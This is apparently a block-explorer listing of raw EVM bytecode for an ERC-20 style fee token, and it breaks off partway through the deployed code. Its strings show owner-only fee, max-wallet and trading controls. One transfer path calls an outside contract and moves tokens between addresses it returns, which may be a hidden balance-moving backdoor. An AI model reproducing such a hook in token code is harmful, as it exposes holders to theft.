0405180830381865afa158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e529190612c25565b60ff16876001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190612c25565b610ec59060ff16600a612d2c565b610ed8846001600160701b038716612abf565b610ee29190612abf565b610eec9190612ad6565b9050610f016001600160701b03851682612ad6565b97505050505050505090565b6005546001600160a01b03163314610f375760405162461bcd60e51b815260040161096790612a74565b60078290556008819055610f4b8183612af8565b6006819055600a1015610fa05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610967565b5050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610fe95760405162461bcd60e51b815260040161096790612a74565b610ff36000611ffb565b565b6005546000906001600160a01b031633146110225760405162461bcd60e51b815260040161096790612a74565b506013805460ff19169055600190565b6005546001600160a01b0316331461105c5760405162461bcd60e51b815260040161096790612a74565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110b15760405162461bcd60e51b815260040161096790612a74565b6013805461ff001916610100179055565b600080600080600080600080600080601760009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111489190612bd5565b939e929d50909b50995090975095505050505050565b6060600480546108a090612a3a565b6005546001600160a01b031633146111975760405162461bcd60e51b815260040161096790612a74565b601b546001600160a01b039081169083160361121b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610967565b611225828261204d565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b601b5460009081906001600160a01b03858116911614801561129157506019546001600160a01b03848116911614155b6001600160a01b0385166000908152601560205260408120549192509060ff16806112d457506001600160a01b03841660009081526015602052604090205460ff165b601b549091506001600160a01b03858116911614600083806112f35750815b60065490915015801590819061130c5750600d5460ff16155b8015611316575083155b801561131f5750815b98975050505050505050565b600033816113398286611845565b9050838110156113995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610967565b6113a6828686840361194a565b506001949350505050565b600033610931818585611ae8565b6005546001600160a01b031633146113e95760405162461bcd60e51b815260040161096790612a74565b6000600955565b6005546001600160a01b0316331461141a5760405162461bcd60e51b815260040161096790612a74565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114a35760405162461bcd60e51b815260040161096790612a74565b670de0b6b3a76400006103e86114b860025490565b6114c3906005612abf565b6114cd9190612ad6565b6114d79190612ad6565b8110156115325760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610967565b61154481670de0b6b3a7640000612abf565b60125550565b6005546001600160a01b031633146115745760405162461bcd60e51b815260040161096790612a74565b601b54600160a01b900460ff16156115ce5760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610967565b601b805460ff60a01b1916600160a01b179055565b6005546001600160a01b0316331461160d5760405162461bcd60e51b815260040161096790612a74565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b0316331461165c5760405162461bcd60e51b815260040161096790612a74565b620186a061166960025490565b611674906001612abf565b61167e9190612ad6565b8210156116eb5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610967565b6103e86116f760025490565b611702906005612abf565b61170c9190612ad6565b8211156117785760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610967565b50601181905560015b919050565b600f546001600160a01b0316331461179d57600080fd5b610ab66117a930610fa4565b61207b565b6005546001600160a01b031633146117d85760405162461bcd60e51b815260040161096790612a74565b601b54600160a01b900460ff1615156001146118365760405162461bcd60e51b815260206004820152601d60248201527f7072696365206f7261636c6520616c72656164792064697361626c65640000006044820152606401610967565b601b805460ff60a01b19169055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b0316331461189a5760405162461bcd60e51b815260040161096790612a74565b6001600160a01b0381166118ff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610967565b610b1681611ffb565b6005546001600160a01b031633146119325760405162461bcd60e51b815260040161096790612a74565b61194481670de0b6b3a76400006121d5565b601c5550565b6001600160a01b0383166119ac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610967565b6001600160a01b038216611a0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610967565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000611a7a8484611845565b90506000198114611ae25781811015611ad55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610967565b611ae2848484840361194a565b50505050565b6001600160a01b03831660009081526015602052604081205460ff1680611b2757506001600160a01b03831660009081526015602052604090205460ff165b90506001600160a01b038416611b4f5760405162461bcd60e51b815260040161096790612d38565b6001600160a01b038316611b755760405162461bcd60e51b815260040161096790612d7d565b81600003611b8957611ae2848460006121e1565b6001600160a01b0384166000908152601d602052604090205460ff1615611bea576001600160a01b0383166000908152601460205260408120549003611be5576001600160a01b03831660009081526014602052604090204290555b611c17565b600d5460ff16611c17576013805462010000600160b01b031916620100006001600160a01b038716021790555b601b546000906001600160a01b038681169116148015611c5057506001600160a01b03841660009081526016602052604090205460ff16155b601b549091506000906001600160a01b038681169116148015611c8c57506001600160a01b03861660009081526016602052604090205460ff16155b90506000611ca26005546001600160a01b031690565b6001600160a01b0316876001600160a01b03161480611cce57506005546001600160a01b038781169116145b905060006001600160a01b0387161580611cf257506001600160a01b03871661dead145b905060008280611cff5750815b80611d0c5750600d5460ff165b9050611d19898989612335565b15611d2957505050505050505050565b60135460ff168015611d39575080155b15611f1157601354610100900460ff1680611d515750855b611d965760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610967565b8415611e6b57601054871115611e0c5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610967565b601254611e1889610fa4565b611e229089612af8565b1115611e665760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610967565b611f11565b83611f11576001600160a01b03881660009081526016602052604090205460ff16158015611eb257506001600160a01b03891660009081526016602052604090205460ff16155b15611f1157601254611ec389610fa4565b611ecd9089612af8565b1115611f115760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610967565b600d5460ff16158015611f3d57506001600160a01b0389166000908152601d602052604090205460ff16155b8015611f6257506001600160a01b03891660009081526015602052604090205460ff16155b8015611f8757506001600160a01b03881660009081526015602052604090205460ff16155b15611fe3576000611f9730610fa4565b601154909150811015611fa8612500565b8015611fb15750805b8015611fbb575087155b15611fe057600d805460ff19166001179055611fd561251c565b600d805460ff191690555b50505b611ff089898987896126af565b505050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601d60205260409020805460ff19168215151790556112258282611032565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120b0576120b0612dc0565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212d9190612b0b565b8160018151811061214057612140612dc0565b6001600160a01b039283166020918202929092010152601954612166913091168461194a565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061219f908590600090869030904290600401612dd6565b600060405180830381600087803b1580156121b957600080fd5b505af11580156121cd573d6000803e3d6000fd5b505050505050565b6000610a428284612abf565b6001600160a01b0383166122075760405162461bcd60e51b815260040161096790612d38565b6001600160a01b03821661222d5760405162461bcd60e51b815260040161096790612d7d565b6001600160a01b038316600090815260208190526040902054818110156122a55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610967565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906122dc908490612af8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161232891815260200190565b60405180910390a3611ae2565b6001600160a01b03831660009081526015602052604081205460ff1680156123e65750601a60009054906101000a90046001600160a01b03166001600160a01b031663169c8eee6040518163ffffffff1660e01b81526004016020604051808303816000875af11580156123ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123d19190612b0b565b6001600160a01b0316836001600160a01b0316145b80156123f95750816123f785610fa4565b105b156124f657601a5460408051630b4e477760e11b815290516124ee926001600160a01b03169163169c8eee91600480830192602092919082900301816000875af115801561244b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246f9190612b0b565b601a60009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b81526004016020604051808303816000875af11580156124c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124e89190612b0b565b846121e1565b506001610a42565b5060009392505050565b60008061250b610b6c565b116125165750600090565b50600190565b600061252730610fa4565b90506000600b54600c5461253b9190612af8565b9050811580612548575080155b15612551575050565b6011548211156125615760115491505b6000600282600c54856125749190612abf565b61257e9190612ad6565b6125889190612ad6565b9050600061259684836127b9565b9050476125a28261207b565b60006125ae47836127b9565b905060006125d1866125cb600b54856121d590919063ffffffff16565b906127c5565b905060006125df8284612b41565b90506000861180156125f15750600081115b156126445761260086826127d1565b600c54604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6000600c819055600b819055600f546040516001600160a01b039091169084908381818185875af1925050503d806000811461269c576040519150601f19603f3d011682016040523d82523d6000602084013e6126a1565b606091505b505050505050505050505050565b60006126bb8686611261565b905080156127ae5760065460075484156126f4576009546006546126df9190612af8565b91506009546007546126f19190612af8565b90505b831561271f57600a5460065461270a9190612af8565b9150600a5460075461271c9190612af8565b90505b600061273060646125cb89866121d5565b905082600854826127419190612abf565b61274b9190612ad6565b600c600082825461275c9190612af8565b9091555083905061276d8383612abf565b6127779190612ad6565b600b60008282546127889190612af8565b9091555050801561279e5761279e8930836121e1565b6127a88188612b41565b96505050505b6121cd8686866121e1565b6000610a428284612b41565b6000610a428284612ad6565b6019546127e99030906001600160a01b03168461194a565b6019546001600160a01b031663f305d7198230856000806128126005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561287a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061289f9190612e47565b5050505050565b600060208083528351808285015260005b818110156128d3578581018301518582016040015282016128b7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b1657600080fd5b6000806040838503121561291c57600080fd5b8235612927816128f4565b946020939093013593505050565b60006020828403121561294757600080fd5b5035919050565b60008060006060848603121561296357600080fd5b833561296e816128f4565b9250602084013561297e816128f4565b929592945050506040919091013590565b6000602082840312156129a157600080fd5b8135610a42816128f4565b600080604083850312156129bf57600080fd5b50508035926020909101359150565b600080604083850312156129e157600080fd5b82356129ec816128f4565b915060208301358015158114612a0157600080fd5b809150509250929050565b60008060408385031215612a1f57600080fd5b8235612a2a816128f4565b91506020830135612a01816128f4565b600181811c90821680612a4e57607f821691505b602082108103612a6e57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761093757610937612aa9565b600082612af357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561093757610937612aa9565b600060208284031215612b1d57600080fd5b8151610a42816128f4565b600060208284031215612b3a57600080fd5b5051919050565b8181038181111561093757610937612aa9565b80516001600160701b038116811461178157600080fd5b600080600060608486031215612b8057600080fd5b612b8984612b54565b9250612b9760208501612b54565b9150604084015163ffffffff81168114612bb057600080fd5b809150509250925092565b805169ffffffffffffffffffff8116811461178157600080fd5b600080600080600060a08688031215612bed57600080fd5b612bf686612bbb565b9450602086015193506040860151925060608601519150612c1960808701612bbb565b90509295509295909350565b600060208284031215612c3757600080fd5b815160ff81168114610a4257600080fd5b600181815b80851115612c83578160001904821115612c6957612c69612aa9565b80851615612c7657918102915b93841c9390800290612c4d565b509250929050565b600082612c9a57506001610937565b81612ca757506000610937565b8160018114612cbd5760028114612cc757612ce3565b6001915050610937565b60ff841115612cd857612cd8612aa9565b50506001821b610937565b5060208310610133831016604e8410600b8410161715612d06575081810a610937565b612d108383612c48565b8060001904821115612d2457612d24612aa9565b029392505050565b6000610a428383612c8b565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612e265784516001600160a01b031683529383019391830191600101612e01565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612e5c57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ab75419dac4826d07db9fd23813b9d5b4ad9f6423b21574e160582095df8beac64736f6c634300081100334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106102975760003560e01c80638a8c523c1161015a578063c0246668116100c1578063dd1e1ca91161007a578063dd1e1ca9146107ec578063dd62ed3e14610801578063e73b90cd14610821578063f2fde38b1461083b578063fea4fa4d1461085b578063fefa5ce31461087157600080fd5b8063c024666814610742578063c18bc19514610762578063c862c28b14610782578063cb94a37014610797578063d257b34f146107b7578063dc56914d146107d757600080fd5b8063a1cd15e811610113578063a1cd15e814610670578063a457c2d714610690578063a9059cbb146106b0578063ae76b090146106d0578063b1d92085146106e5578063b62496f51461071257600080fd5b80638a8c523c1461059c5780638da5cb5b146105b15780638e15f473146105cf57806395d89b411461061b5780639a7a23d6146106305780639c74daf01461065057600080fd5b8063339578fe116101fe5780636db79437116101b75780636db79437146104fc57806370a082311461051c578063715018a61461053c578063751039fc146105515780637571336a1461056657806382247ec01461058657600080fd5b8063339578fe14610439578063395093511461044e5780634b94f50e1461046e5780634fbee19314610483578063583e0568146104bc5780636d77ecd1146104dc57600080fd5b806323b872dd1161025057806323b872dd1461039357806323bf4c86146103b357806327f4d7d5146103d35780632fd689e3146103f2578063313ce56714610408578063315097861461042457600080fd5b806304beaeb8146102a3578063055ad42e146102cc57806306fdde031461030a578063095ea7b31461032c57806318160ddd1461035c578063203e727e1461037157600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b960105481565b6040519081526020015b60405180910390f35b3480156102d857600080fd5b506013546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016102c3565b34801561031657600080fd5b5061031f610891565b6040516102c391906128a6565b34801561033857600080fd5b5061034c610347366004612909565b610923565b60405190151581526020016102c3565b34801561036857600080fd5b506002546102b9565b34801561037d57600080fd5b5061039161038c366004612935565b61093d565b005b34801561039f57600080fd5b5061034c6103ae36600461294e565b610a23565b3480156103bf57600080fd5b506103916103ce36600461298f565b610a49565b3480156103df57600080fd5b5060135461034c90610100900460ff1681565b3480156103fe57600080fd5b506102b960115481565b34801561041457600080fd5b50604051601281526020016102c3565b34801561043057600080fd5b50610391610a9f565b34801561044557600080fd5b50610391610b19565b34801561045a57600080fd5b5061034c610469366004612909565b610b4a565b34801561047a57600080fd5b506102b9610b6c565b34801561048f57600080fd5b5061034c61049e36600461298f565b6001600160a01b031660009081526015602052604090205460ff1690565b3480156104c857600080fd5b506019546102f2906001600160a01b031681565b3480156104e857600080fd5b506018546102f2906001600160a01b031681565b34801561050857600080fd5b506103916105173660046129ac565b610f0d565b34801561052857600080fd5b506102b961053736600461298f565b610fa4565b34801561054857600080fd5b50610391610fbf565b34801561055d57600080fd5b5061034c610ff5565b34801561057257600080fd5b506103916105813660046129ce565b611032565b34801561059257600080fd5b506102b960125481565b3480156105a857600080fd5b50610391611087565b3480156105bd57600080fd5b506005546001600160a01b03166102f2565b3480156105db57600080fd5b506105e46110c2565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a0016102c3565b34801561062757600080fd5b5061031f61115e565b34801561063c57600080fd5b5061039161064b3660046129ce565b61116d565b34801561065c57600080fd5b50601b546102f2906001600160a01b031681565b34801561067c57600080fd5b5061034c61068b366004612a0c565b611261565b34801561069c57600080fd5b5061034c6106ab366004612909565b61132b565b3480156106bc57600080fd5b5061034c6106cb366004612909565b6113b1565b3480156106dc57600080fd5b506103916113bf565b3480156106f157600080fd5b506102b961070036600461298f565b60146020526000908152604090205481565b34801561071e57600080fd5b5061034c61072d36600461298f565b601d6020526000908152604090205460ff1681565b34801561074e57600080fd5b5061039161075d3660046129ce565b6113f0565b34801561076e57600080fd5b5061039161077d366004612935565b611479565b34801561078e57600080fd5b5061039161154a565b3480156107a357600080fd5b506103916107b236600461298f565b6115e3565b3480156107c357600080fd5b5061034c6107d2366004612935565b61162f565b3480156107e357600080fd5b50610391611786565b3480156107f857600080fd5b506103916117ae565b34801561080d57600080fd5b506102b961081c366004612a0c565b611845565b34801561082d57600080fd5b5060135461034c9060ff1681565b34801561084757600080fd5b5061039161085636600461298f565b611870565b34801561086757600080fd5b506102b960065481565b34801561087d57600080fd5b5061039161088c366004612935565b611908565b6060600380546108a090612a3a565b80601f01602080910402602001604051908101604052809291908181526020018280546108cc90612a3a565b80156109195780601f106108ee57610100808354040283529160200191610919565b820191906000526020600020905b8154815290600101906020018083116108fc57829003601f168201915b5050505050905090565b60003361093181858561194a565b60019150505b92915050565b6005546001600160a01b031633146109705760405162461bcd60e51b815260040161096790612a74565b60405180910390fd5b670de0b6b3a76400006103e861098560025490565b610990906001612abf565b61099a9190612ad6565b6109a49190612ad6565b811015610a0b5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610967565b610a1d81670de0b6b3a7640000612abf565b60105550565b600033610a31858285611a6e565b610a3c858585611ae8565b60019150505b9392505050565b6005546001600160a01b03163314610a735760405162461bcd60e51b815260040161096790612a74565b601880546001600160a01b039092166001600160a01b0319928316811790915560178054909216179055565b600f546001600160a01b03163314610ab657600080fd5b600f546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610b03576040519150601f19603f3d011682016040523d82523d6000602084013e610b08565b606091505b5050905080610b1657600080fd5b50565b6005546001600160a01b03163314610b435760405162461bcd60e51b815260040161096790612a74565b6000600a55565b600033610931818585610b5d8383611845565b610b679190612af8565b61194a565b600080601b60009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be69190612b0b565b90506000601b60009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c619190612b0b565b90506000601a60009054906101000a90046001600160a01b03166001600160a01b031663da235b226040518163ffffffff1660e01b81526004016020604051808303816000875af1158015610cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cde9190612b28565b600e54610ceb9190612b41565b9050600080601b60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d679190612b6b565b50601c54601b5492945090925090600160a01b900460ff1615610dee57306001600160a01b0316638e15f4736040518163ffffffff1660e01b815260040160a060405180830381865afa158015610dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de69190612bd5565b509193505050505b6000856001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e529190612c25565b60ff16876001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190612c25565b610ec59060ff16600a612d2c565b610ed8846001600160701b038716612abf565b610ee29190612abf565b610eec9190612ad6565b9050610f016001600160701b03851682612ad6565b97505050505050505090565b6005546001600160a01b03163314610f375760405162461bcd60e51b815260040161096790612a74565b60078290556008819055610f4b8183612af8565b6006819055600a1015610fa05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610967565b5050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610fe95760405162461bcd60e51b815260040161096790612a74565b610ff36000611ffb565b565b6005546000906001600160a01b031633146110225760405162461bcd60e51b815260040161096790612a74565b506013805460ff19169055600190565b6005546001600160a01b0316331461105c5760405162461bcd60e51b815260040161096790612a74565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110b15760405162461bcd60e51b815260040161096790612a74565b6013805461ff001916610100179055565b600080600080600080600080600080601760009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111489190612bd5565b939e929d50909b50995090975095505050505050565b6060600480546108a090612a3a565b6005546001600160a01b031633146111975760405162461bcd60e51b815260040161096790612a74565b601b546001600160a01b039081169083160361121b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610967565b611225828261204d565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b601b5460009081906001600160a01b03858116911614801561129157506019546001600160a01b03848116911614155b6001600160a01b0385166000908152601560205260408120549192509060ff16806112d457506001600160a01b03841660009081526015602052604090205460ff165b601b549091506001600160a01b03858116911614600083806112f35750815b60065490915015801590819061130c5750600d5460ff16155b8015611316575083155b801561131f5750815b98975050505050505050565b600033816113398286611845565b9050838110156113995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610967565b6113a6828686840361194a565b506001949350505050565b600033610931818585611ae8565b6005546001600160a01b031633146113e95760405162461bcd60e51b815260040161096790612a74565b6000600955565b6005546001600160a01b0316331461141a5760405162461bcd60e51b815260040161096790612a74565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114a35760405162461bcd60e51b815260040161096790612a74565b670de0b6b3a76400006103e86114b860025490565b6114c3906005612abf565b6114cd9190612ad6565b6114d79190612ad6565b8110156115325760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610967565b61154481670de0b6b3a7640000612abf565b60125550565b6005546001600160a01b031633146115745760405162461bcd60e51b815260040161096790612a74565b601b54600160a01b900460ff16156115ce5760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610967565b601b805460ff60a01b1916600160a01b179055565b6005546001600160a01b0316331461160d5760405162461bcd60e51b815260040161096790612a74565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b0316331461165c5760405162461bcd60e51b815260040161096790612a74565b620186a061166960025490565b611674906001612abf565b61167e9190612ad6565b8210156116eb5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610967565b6103e86116f760025490565b611702906005612abf565b61170c9190612ad6565b8211156117785760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610967565b50601181905560015b919050565b600f546001600160a01b0316331461179d57600080fd5b610ab66117a930610fa4565b61207b565b6005546001600160a01b031633146117d85760405162461bcd60e51b815260040161096790612a74565b601b54600160a01b900460ff1615156001146118365760405162461bcd60e51b815260206004820152601d60248201527f7072696365206f7261636c6520616c72656164792064697361626c65640000006044820152606401610967565b601b805460ff60a01b19169055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b0316331461189a5760405162461bcd60e51b815260040161096790612a74565b6001600160a01b0381166118ff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610967565b610b1681611ffb565b6005546001600160a01b031633146119325760405162461bcd60e51b815260040161096790612a74565b61194481670de0b6b3a76400006121d5565b601c5550565b6001600160a01b0383166119ac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610967565b6001600160a01b038216611a0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610967565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000611a7a8484611845565b90506000198114611ae25781811015611ad55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610967565b611ae2848484840361194a565b50505050565b6001600160a01b03831660009081526015602052604081205460ff1680611b2757506001600160a01b03831660009081526015602052604090205460ff165b90506001600160a01b038416611b4f5760405162461bcd60e51b815260040161096790612d38565b6001600160a01b038316611b755760405162461bcd60e51b815260040161096790612d7d565b81600003611b8957611ae2848460006121e1565b6001600160a01b0384166000908152601d602052604090205460ff1615611bea576001600160a01b0383166000908152601460205260408120549003611be5576001600160a01b03831660009081526014602052604090204290555b611c17565b600d5460ff16611c17576013805462010000600160b01b031916620100006001600160a01b038716021790555b601b546000906001600160a01b038681169116148015611c5057506001600160a01b03841660009081526016602052604090205460ff16155b601b549091506000906001600160a01b038681169116148015611c8c57506001600160a01b03861660009081526016602052604090205460ff16155b90506000611ca26005546001600160a01b031690565b6001600160a01b0316876001600160a01b03161480611cce57506005546001600160a01b038781169116145b905060006001600160a01b0387161580611cf257506001600160a01b03871661dead145b905060008280611cff5750815b80611d0c5750600d5460ff165b9050611d19898989612335565b15611d2957505050505050505050565b60135460ff168015611d39575080155b15611f1157601354610100900460ff1680611d515750855b611d965760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610967565b8415611e6b57601054871115611e0c5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610967565b601254611e1889610fa4565b611e229089612af8565b1115611e665760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610967565b611f11565b83611f11576001600160a01b03881660009081526016602052604090205460ff16158015611eb257506001600160a01b03891660009081526016602052604090205460ff16155b15611f1157601254611ec389610fa4565b611ecd9089612af8565b1115611f115760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610967565b600d5460ff16158015611f3d57506001600160a01b0389166000908152601d602052604090205460ff16155b8015611f6257506001600160a01b03891660009081526015602052604090205460ff16155b8015611f8757506001600160a01b03881660009081526015602052604090205460ff16155b15611fe3576000611f9730610fa4565b601154909150811015611fa8612500565b8015611fb15750805b8015611fbb575087155b15611fe057600d805460ff19166001179055611fd561251c565b600d805460ff191690555b50505b611ff089898987896126af565b505050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601d60205260409020805460ff19168215151790556112258282611032565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120b0576120b0612dc0565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612109573d6000803e3d6000fd5b